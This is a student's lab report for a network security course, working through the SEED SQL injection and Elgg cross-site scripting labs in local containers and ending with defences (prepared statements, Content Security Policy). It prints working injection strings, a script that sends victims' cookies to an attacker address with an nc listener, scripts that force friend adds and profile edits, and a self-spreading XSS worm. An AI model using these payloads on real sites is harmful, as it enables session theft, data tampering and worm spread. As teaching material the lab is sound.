20241905 2024-2025-2 《网络攻防实践》 第10次作业
1. 实验内容
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
-
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
-
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
-
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
-
SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
-
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
-
弹窗显示cookie信息:将cookie信息显示。
-
窃取受害者的cookies:将cookie发送给攻击者。
-
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
-
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
-
编写XSS蠕虫。
-
对抗XSS攻击。
2. 实验过程
SEEDLABS2.0使用容器来建立实验环境,使得seedlab提供的实验不再依赖于SEED虚拟机,通过使用其他虚拟机、物理机器或云上的虚拟机均能完成这些实验。这里参照官网的实验说明书中的配置,即通过Ubuntu20.04进行测试
1、在官网SEED Project下载SEED-Ubuntu20.04.zip,选择digitalOcean

2、将下载下来的SEED-Ubuntu20.04.vdi文件通过下面的命令转换为.vmdk文件(详细操作见参考资料2)
VBoxManage.exe clonehd F:\iso\gongfang\SEED-Ubuntu20.04\SEED-Ubuntu20.04\SEED-Ubuntu20.04.vdi(本机下载的vdi文件所在路径) F:\iso\gongfang\seed.vmdk(需要存储的vmdk文件所在路径及其名字) --format VMDK
vmware-vdiskmanager.exe -r “F:\iso\gongfang\seed.vmdk” -t 0 “F:\iso\gongfang\seed.com.vmdk”
得到如下文件后,导入VMware虚拟机即安装成功,用户密码为dees

2.1 SEED SQL注入攻击与防御实验
2.1.1 容器配置
1、下载官网SEED Project上SQL project的Labsetup.zip文件,并通过共享文件夹导入SEED虚拟机

2、右键extract解压Labsetup.zip文件

3、从Labsetup文件夹中的docker-compose.yml配置文件中可以看到其具体配置。本实验中,网络应用程序容器的IP地址是10.9.0.5,网络应用程序的URL是 http://www.seed-server.com

4、将主机名映射到容器的IP地址,通过命令sudo vim /etc/hosts将下面的内容添加到/etc/hosts文件中
10.9.0.5 www.seed-server.com

5、在含docker-compose.yml配置文件的目录下通过命令dcbuild进行配置,该命令表示建立容器镜像

6、通过命令dcup开启容器

此时该目录下会创建一个mysql_data文件夹

7、所有容器会在后台运行,要在容器上运行命令,需要先获取容器的shell。通过命令docker ps查找容器的ID。从图中可以看到一个是mysql容器,一个是www网站容器

8、SEEDLAB在该实验中创建了一个网络应用程序,这是一个简单的员工管理应用程序。员工可以通过这个网络应用程序查看和更新他们在数据库中的个人信息。这个网络应用程序主要有两个角色:管理员是一个特权角色,可以管理每个员工的个人资料信息;员工是一个普通角色,可以查看或更新他/她自己的个人资料信息。所有员工信息在下方的表格中进行了描述。

2.1.2 熟悉SQL语句
1、熟悉SQL语句。这个任务的目标是通过操作提供的数据库来熟悉SQL命令。网络应用程序所使用的数据存储在一个MySQL数据库中,该数据库托管在MySQL容器上。其中创建了一个名为sqllab_users的数据库,里面包含一个名为credential的表。该表存储了每个员工的个人信息(例如eid、密码、薪水、社会安全号码等)。通过下面的命令在MySQL容器上获取shell
docksh 1a //1a是之前查询到的ID,由于它们在所有容器中是唯一的,输入前几个字符就足够识别

2、通过命令mysql -u root -pdees登录mysql,用户名是root,密码是dees

3、登陆后,通过命令show databases;可以看到现有数据库,可以从图中看到我们需要用到的sqllab_users数据库就在其中

4、通过下面的命令加载数据库和表,可以看到我们需要的credential表就在其中
use sqllab_users; //加载数据库
show tables; //打印出所选数据库的所有表

5、通过命令select \* from credential where name = 'Alice';来获得员工Alice的个人信息,这和数据库内信息对应上,而且明显观察到password做了处理

2.1.3 对SELECT语句进行SQL注入攻击
1、登录www.seed-server.com页面,目标是在不知道任何员工凭证的情况下登录该网络应用程序

2、首先检查/labsetup/image_www/code/unsafe_home.php文件中的代码,关注用户认证部分的代码片段。可以从图中看到,网页get用户输入的信息,将用户输入的用户名和密码分别存入input_uname和input_pwd,然后对密码进行sha1函数处理,将生成的哈希值存入hashed_pwd

从图中可以看到,网页执行了sql命令,将用户名和哈希后的密码与数据库中的对应信息进行比较,如果有则登陆成功

3、假设已知管理员账户名为admin,对SELECT语句构造sql注入攻击。分析不安全的登陆页面使用的sql语句,可以构造admin 'OR' 1=1来进行注入攻击,这样就使得登陆时的查询语句如下
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address,email,nickname,Password
FROM credential
WHERE name= 'admin 'OR' 1=1' and Password='$hashed_pwd'

因为在sql查询中,只要OR前面的语句为真,整个查询就为真,这样就跳过了对后面密码哈希值的查询,从而登陆成功,从图中可以检验到该注入攻击成功

2.1.4 对UPDATE语句进行SQL注入攻击
1、目标是通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。还是先分析更新表单部分的代码内容,该部分在unsafe_edit_backend.php文件,可以从图中看到,更新内容的操作是通过UPDATE语句进行的

2、假设自己是员工Alice,想要通过sql注入攻击增加自己的薪水。首先登录到自己的个人页面,已知alice的登录用户名是Alice,密码是seedalice,图中为Alice的个人页面

在编辑页面中可以修改自己的昵称、电子邮件、地址、电话号码和密码,但是修改不了工资

3、目标是通过sql注入攻击来增加自己的工资。构造',salary=99999 WHERE name='Alice' #,使得更新页面的update语句如下
UPDATE credential SET nickname='',salary=99999 WHERE name='Alice' # ',email=' ',address=' ',Password=' ',PhoneNumber=' ' where ID=$id;

由于构造的',将前面的语句独立出来,#则注释掉后面的语句,使得这条UPDATE命令执行了将name为Alice的salary更改为99999的操作,从图中给可以看到,攻击成功,薪水已经更改为99999

2.1.5 SQL对抗
1、通过语句预处理机制来修复SQL注入漏洞。在/labsetup/image_www/code/defense文件夹中修改unsafe.php文件中的漏洞

2、图中为原本unsafe.php文件中的内容,进行如下修改
<?php
// Function to create a sql connection.
function getDB() {
$dbhost="10.9.0.6";
$dbuser="seed";
$dbpass="dees";
$dbname="sqllab_users";
// Create a DB connection
$conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error . "\n");
}
return $conn;
}
$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);
// create a connection
$conn = getDB();
// 修改这部分内容来避免SQL注入攻击
$statement = $conn->prepare("SELECT id, name, eid, salary, ssn
FROM credential
WHERE name= ? and Password= ?");
if($statement){
$statement->bind_param("ss", $input_uname, $hashed_pwd);
$statement->execute();
$result = $statement->get_result();
if ($result->num_rows > 0) {
// only take the first row
$firstrow = $result->fetch_assoc();
$id = $firstrow["id"];
$name = $firstrow["name"];
$eid = $firstrow["eid"];
$salary = $firstrow["salary"];
$ssn = $firstrow["ssn"];
}
$statement->close();
}
// close the sql connection
$conn->close();
?>

3、修改思路主要为使用$conn->prepare()函数创建查询,并使用?占位符来防止注入位置,再通过$statement->bind_param函数将用户输入绑定到准备好的语句中。其中,ss表示两个输入都为字符串类型。访问修改后的网址www.seed-server.com/defense,再通过Alice' #进行注入。注意此时要重新启动容器

4、从图中可以看到,此时已经无法通过SQL注入攻击返回Alice的信息,修复成功

2.2 SEED XSS跨站脚本攻击实验
2.2.1 容器配置
1、下载官网SEED Project上Cross-Site project的Labsetup.zip文件,并通过共享文件夹导入SEED虚拟机

2、右键labsetup.zip将压缩包extract到创建的cross目录下

3、从labsetup文件夹中的docker-compose.yml配置文件中可以看到其具体配置。该实验设置了一个名为Elgg的网络应用程序

4、将主机名映射到容器的IP地址,通过命令sudo vim /etc/hosts修改映射关系

5、在含docker-compose.yml配置文件的目录下通过命令dcbuild进行配置

6、通过命令dcup启动容器

7、本实验的用户账户信息如下图所示

2.2.2 发布恶意消息以显示警报窗口
1、目标是在Elgg的个人资料中嵌入JavaScript程序,当其他用户查看您的个人资料时,该JavaScript程序将被执行并显示一个警告窗口。在www.seed-server.com网站中登录Alice的账户,用户名为alice,密码为seedalice

2、在自己的个人页面选择edit profile

3、在brief description部分写入下面的代码,这条代码能够使得网页显示一个警报窗口
<script>alert('20241905xss');</script>

4、save后可以看到立即弹出了警报窗口

2.2.3 弹窗显示cookie信息
1、通过将下面的代码写入brief description,查看当前页面的cookie信息
<script>alert(document.cookie);</script>

2、save后得到该页面的cookie信息为Elgg=d6ddcqg83ctonrale9pgg9mtkm

2.2.4 窃取受害者的cookies
1、目标是作为攻击者窃取只有用户能看到的cookie信息。查看本机的ip地址

2、构造恶意代码如下,这段代码插入了一个<image>标签,并将src属性设置为攻击者的ip地址,使得js插入img标签时,浏览器会从src字段中的地址加载图像,这就导致向攻击者发送了一个GET请求,此时可以将当前的cookie信息送到攻击者正在监听的5555端口
<script>
document.write('<img src=http://10.9.0.1:5555?c=' + escape(document.cookie) + ' >');
</script>

3、通过下面的命令监听5555端口,从图中可以看到受害者的cookie,其中%3D是=符号
# -l表示监听一个传入连接,-k表示当一个连接完成时,监听另一个连接,-nv表示详细的输入
nc -lknv 5555

2.2.5 成为受害者的朋友
1、目标是编写一个XSS使得任何访问Samy的用户都会添加Samy为朋友。首先需要分析用户添加朋友时发送给服务器的信息。这里需要使用Firefox的HTTP Header Live插件

2、先登录Samy的账户,用户名为samy,密码为seedsamy

3、依次点击Members, Alice,Add friend即可添加好友,此时开启HTTP Header Live

4、单击GET请求可以看到添加朋友时的请求内容如下
http://www.seed-server.com/action/friends/add?friend=56&__elgg_ts=1747040611&__elgg_token=9V6BgCFTN279UqF4TMzTYg&__elgg_ts=1747040611&__elgg_token=9V6BgCFTN279UqF4TMzTYg

5、分析可以等处要完成添加朋友的操作,需要的参数有
- friend:朋友编号,Alice为56,由前面的表格可以推断Samy为59
- __elgg_ts
- __elgg_token
基于此,可以构造JS脚本如下
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.send();
}
</script>
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;用于获取一个时间戳(__elgg_ts)的值,可以用于防止 CSRF(跨站请求伪造)攻击,它可以确保请求是由合法用户发出的,并且请求的时间窗不会过期。
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;用于获取一个 CSRF 令牌,也是为了防止 CSRF 攻击,它可以确保请求没有被篡改。
6、以Samy的身份登录网站,用户名是samy,密码是seedsamy。

7、点击Profile,进入Edit profile页面

8、在about me部分,切换到Edit HTML,之所以要进行切换,是因为editor模式会对部分符号进行转义,给每一行加上 <p> 标签,并在行末加入 <br /> 换行符,使得 JavaScript 脚本无法执行

写入前面构造的脚本,保存

8、登录Alice的帐号,移除与Samy的好友

9、刷新samy的profile页面

10、打开Friends页面,发现Samy已经成为Alice的好友,且这是在Alice没有Add操作的情况下,攻击成功

2.2.6 修改受害者的信息
1、作为用户Alice,目标是通过JS脚本修改Samy用户的主页内容。在修改profile时用HTTP Header Live抓取请求

2、打开该请求,可以看到发送的请求具体内容如下
__elgg_token=zuz4-6pyewxmry3AbuNlFw&__elgg_ts=1747055741&name=Alice&description=<p>test20241905</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2&guid=56

可以看到修改信息的请求需要的参数有
__elgg_token: CSRF 令牌__elgg_ts:时间戳name:用户名description:修改的内容guid:用户id,samy的guid为 59
3、构造JS脚本如下
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content=token+ts+userName+"&description=20241905XSS"+guid;
var samyGuid=59;
var sendurl="http://www.seed-server.com/action/profile/edit";
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
4、登录Samy的帐号,将构造的脚本写入主页

5、登录Alice的帐号,访问Samy的主页

6、查看自己的主页,此时自己的主页信息已经被修改了,攻击成功

2.2.7 编写XSS蠕虫
1、恶意 JavaScript 程序要成为真正的蠕虫,应该要实现自传播。本实验任务采用DOM方法进行蠕虫编写,下面的代码会获取自身副本,并以警告窗口进行显示
<script id="worm">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
2、登录Samy的帐号,写入上面的代码

可以看到弹窗显示代码内容

3、利用上面的机制,构造蠕虫代码,这段代码会使得每个受害者的主页被感染,任何访问受害者主页的用户被感染,受害者会不知情地添加samy为好友
<script id="worm">
window.onload = function(){
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var description="&description=<p>20241905worm"+wormCode;
//Construct the content of your url.
var content=token+ts+userName+description+guid;
var samyGuid=59;
var sendurl1="http://www.seed-server.com/action/profile/edit";
var sendurl2="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token;
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl1, true);
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
Ajax=new XMLHttpRequest();
Ajax.open("GET", sendurl2, true);
Ajax.send();
}
</script>
4、添加这段代码进入samy的主页

5、登录Alice的账户,访问Samy的主页,发现Alice主页已被感染

6、登录Boby的账户,访问Alice的主页,发现Boby的主页已被感染,构造自传播蠕虫病毒成功

2.2.8 对抗XSS攻击
1、XSS漏洞的问题在于HTML允许JS代码与数据混合。网页中放入JS代码有两种方式,一种是嵌入式(代码直接放在网页中),另一种是引入式(代码放在另外一个文件或url中,再引入网页)。嵌入式导致了XSS漏洞,Elgg通过内容安全策略(content security policy,CSP)来抵御XSS攻击。通过CSP,网站可以在回复的头部加入一些CSP规则,告诉浏览器不要运行页面中嵌入的任何JS代码, 所有代码都必须从网站单独下载。
下面的CSP规则不仅禁止了所有嵌入式代码,还规定只有同源网站的代码才可以被执行
Content-Security-Policy: script-src 'self'
有时需要运行从其他可以信任的网站下载的代码,CSP允许提供一个白名单。
Content-Security-Policy: script-src 'self' example.com
https://apis.google.com
如果开发者想用嵌入式的方法把代码放到网页中,CSP也提供了一种安全的做法,就是要求在CSP规则中指明哪些嵌入代码是可信的。可以通过在CSP规则中设置一些可信任的nonce来实现
Content-Security-Policy: script-src 'nonce-34fo3er92d'
2、通过下面的命令找到容器中存储测试网页的CSP策略文件
dockers ps
docksh 0d
cd /etc/apache2/sites-available
nano apache_csp.conf

分析图中代码可知
-
www.example32a.com:没有设置 CSP 安全策略 -
www.example32b.com:允许加载同源的和*.example70.com的 JavaScript 脚本 -
www.example32c.com:将首页文件设为phpindex.php,通过PHP脚本控制CSP
3、打开测试网页观察结果
七个测试分别为:
- 使用 nonce="111-111-111" 的内联 JavaScript
- 使用 nonce="222-222-222" 的内联 JavaScript
- 没有 nonce 的内联 JavaScript
- 从同源加载的外部脚本
- 从
www.example60.com加载的外部脚本 - 从
www.example70.com加载的外部脚本 - 通过按钮点击触发内联 JavaScript
www.example32a.com网页七个测试均成功,因为该网页没有设置 CSP 安全策略

www.example32b.com网页只有从同源加载的外部脚本和从www.example70.com加载的外部脚本成功,因为该网页的CSP策略中只允许加载这两个来源的脚本。该网页不能点开按钮,因为设置了CSP策略禁止了内联代码

www.example32b.com网页允许加载nonce为111-111-111的脚本、同源脚本和从www.example70.com加载的外部脚本,因为phpindex.php指定了 CSP 策略如下。phpindex.php通过命令cd /var/www/csp和nano phpindex.php进入。同样该网页不能点开按钮,因为设置了CSP策略禁止了内联代码


3. 学习中遇到的问题及解决
-
问题1:apache2显示无法
“E: Unable to locate package apache2” -
问题1解决方法:输入下面的命令更新
sudo apt-get update sudo apt-get upgrade -
问题2:docker配置文件pull出错
“request canceled while waiting for connection” -
问题2解决方法:换docker镜像,编辑
/etc/docker/darmon.json文件,换可用的docker镜像源,再reload和restart
-
问题3:加载不出www.seed-server.com网页
-
问题3解决办法:关闭火狐代理后重启浏览器

4. 学习感想和体会
本科通过SQLmap和DVWA进行过SQL注入和XSS攻击实验,对本次实验的原理比较了解,配好环境之后就比较顺利了。参照官网说明配置了SEED-Ubuntu20.04的实验环境,SEED2.0将每个实验环境都打包了单独的容器,每个实验做之前需要更改一下配置,实验说明书(参考资料5,6)将实验过程描述的非常详细,对原理的阐述很清晰,构造代码的框架也给出了,只需要填写部分内容。通过这次试验,我对SQL注入攻击和XSS攻击有了更深的理解,收获很大。
参考资料
1、《网络攻防技术与实践》课本和学习通视频
2、VirtualBox虚拟机转换到VMware中,用VMware打开VirtualBox虚拟机_oracle vm virtualbox虚拟机转vm虚拟机-CSDN博客
3、安装apache2时出现“E: Unable to locate package”_unable to locate package apache2-CSDN博客

浙公网安备 33010602011771号